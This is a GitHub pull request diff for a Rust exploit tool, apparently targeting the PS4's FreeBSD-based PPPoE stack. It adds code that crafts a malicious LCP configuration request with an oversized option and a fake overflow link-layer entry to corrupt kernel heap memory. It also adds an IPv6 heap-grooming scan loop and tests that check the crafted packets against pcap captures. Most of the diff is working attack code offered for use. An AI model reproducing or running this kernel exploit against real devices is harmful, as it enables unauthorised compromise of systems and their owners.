Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fb overflow #10

Merged
merged 3 commits into from
Oct 14, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 129 additions & 42 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -356,42 +356,7 @@ impl Exploit {
self.ipcp_negotiation(interface);

let mut _corrupted = false;
// TODO Implement spray again in reverse ?
// for i in reversed(range(self.SPRAY_NUM)):
// if i % 0x100 == 0:
// print('[*] Scanning for corrupted object...{}'.format(hex(i)),
// end='\r',
// flush=True)

// if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
// continue

// source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i)

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6EchoRequest())

// TODO Implement this loop

// while True:
// pkt = self.s.recv()
// if pkt:
// if pkt.haslayer(ICMPv6EchoReply):
// break
// elif pkt.haslayer(ICMPv6ND_NS):
// corrupted = True
// break

// if corrupted:
// break

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6ND_NA(tgt=source_ipv6, S=1) /
// ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))
// search_for_corrupted_obj(); // TODO make this the return of up

if !_corrupted {
println!("[-] Scanning for corrupted object...failed. Please retry the exploit.");
Expand Down Expand Up @@ -623,8 +588,12 @@ fn extract_ps4_source_mac(data: &[u8]) -> Result<[u8; 6], Box<dyn std::error::Er
Ok(mac_address)
}

/// Creates the Link-Layer Entry.
/// TODO explain why malicious
/// Creates the Link-Layer Entry
/// The LLE (link layer entry) table stores information about hosts on a network
/// and is used to translate between network layer addresses and data link layer
/// addresses. This is a malicious entry for it.
/// The link layer entry struct is defined in the FreeBSD kernel
/// `freebsd-src/sys/net/if_llatbl.h`
pub fn build_overflow_lle(pppoe_softc: u64) -> Vec<u8> {
let mut overflow_lle = Vec::new();

Expand Down Expand Up @@ -699,6 +668,42 @@ pub fn create_fake_ifnet(pppoe_softc: u64) -> Vec<u8> {
fake_ifnet
}

fn search_for_corrupted_obj(
tx: &mut dyn DataLinkSender,
rx: &mut dyn DataLinkReceiver,
source_mac: [u8; 6],
target_mac: [u8; 6],
target_v6: [u8; 16],
) {
for i in (0..constants::SPRAY_NUM).rev() {
println!("[+] Heap Grooming at {:?}%", 100 * i / constants::SPRAY_NUM);
if i >= constants::HOLE_START && i % constants::HOLE_SPACE == 0 {
println!("[-]HOLE");
continue;
}
let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i);
let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string)
.expect("Failed to parse IPv6 address")
.octets();
// listen for
let icmpv6_req = create_icmpv6_echo_req(source_mac, target_mac, source_v6, target_v6);

// Send the request
let _result = tx
.send_to(icmpv6_req.as_slice(), None)
.expect("[-] Failed to send icmpv6");

// if not recive the nd_ns then timeout and return false
let _result = listen_for_packet(rx, is_icmpv6_nd_ns);
// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6ND_NA(tgt=source_ipv6, S=1) /
// ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))
//TODO return corr yes or no
}
}

fn spray(
tx: &mut dyn DataLinkSender,
rx: &mut dyn DataLinkReceiver,
Expand Down Expand Up @@ -1064,18 +1069,40 @@ pub fn create_lcp_conf_request(
payload.push(session_data);
payload.extend_from_slice(&session_id);

// Fixed length
payload.extend_from_slice(&[0, 6]);
let length_index = payload.len(); // Store the index where the length will be inserted
payload.extend_from_slice(&[0x00, 0x00]);

// PPP header
payload.extend_from_slice(&constants::ETHERTYPE_LCP.to_be_bytes());

// LCP and fixed length
payload.push(constants::LCP_CONF_REQ); // Configuration Request
payload.push(constants::LCP_ID);
payload.extend_from_slice(&[0, 4]);

if overflow_lle.is_some() {}
if overflow_lle.is_some() {
// Read https://datatracker.ietf.org/doc/html/rfc1661#section-6 and now I know
payload.extend_from_slice(&[0x01, 0x04]); // 260 lcp size when adding the malicious options

// Option
payload.push(0x00); // The RESERVED type
payload.push(0xfe); // The Length of the lcp options size 254
for _ in 0..252 {
payload.push(0x41);
}
// Push the length of the remaining stuff
payload.extend_from_slice(&[0x00, 0x7A]); // 122
payload.extend_from_slice(&overflow_lle.unwrap());
} else {
payload.extend_from_slice(&[0, 4]); // 4 lcp size whithout adding the malicious options
}

// Now, calculate the actual payload length
let payload_length = (payload.len() - 6) as u16;

// Update the length field in the PPPoE header (stored at length_index)
let length_bytes = payload_length.to_be_bytes();
payload[length_index] = length_bytes[0];
payload[length_index + 1] = length_bytes[1];

ether::Builder::default()
.source(source_mac.into())
Expand Down Expand Up @@ -1744,4 +1771,64 @@ mod tests {

compare_packets("icmpv6_echo_req", &expected_packet.data, &generated_packet);
}

#[test]
fn test_create_lcp_conf_request_normal() {
// Load the expected packet from a .pcap file for comparison
let mut cap = Capture::from_file("test_data/lcp_conf_request.pcap")
.expect("Failed to open pcap file");
let expected_packet = cap
.next_packet()
.expect("Failed to read LCP CONF REQUEST packet");

// Define the test input data
let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source
let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target
let session_data = 0x00; // Example session data byte
let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes)

// Call the function to generate the LCP CONF REQUEST packet
let generated_packet =
create_lcp_conf_request(source_mac, target_mac, session_data, session_id, None);

// Compare the expected packet with the generated packet
compare_packets("lcp_conf_request", &expected_packet.data, &generated_packet);
}

#[test]
fn test_create_lcp_conf_request_malicious() {
// Load the expected packet from a .pcap file for comparison
let mut cap = Capture::from_file("test_data/lcp_conf_request_m.pcap")
.expect("Failed to open pcap file");
let expected_packet = cap
.next_packet()
.expect("Failed to read LCP CONF REQUEST packet");

// Define the test input data
let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source
let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target
let session_data = 0x00; // Example session data byte
let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes)

// Create an overflow LLE for testing
let test_host_unique = get_test_host_unique();
let pppoe_softc: u64 = u64::from_le_bytes(test_host_unique);
let overflow_lle = build_overflow_lle(pppoe_softc);

// Call the function to generate the LCP CONF REQUEST packet
let generated_packet = create_lcp_conf_request(
source_mac,
target_mac,
session_data,
session_id,
Some(overflow_lle),
);

// Compare the expected packet with the generated packet
compare_packets(
"lcp_conf_request_m",
&expected_packet.data,
&generated_packet,
);
}
}
Binary file added test_data/lcp_conf_request.pcap
Binary file not shown.
Binary file added test_data/lcp_conf_request_m.pcap
Binary file not shown.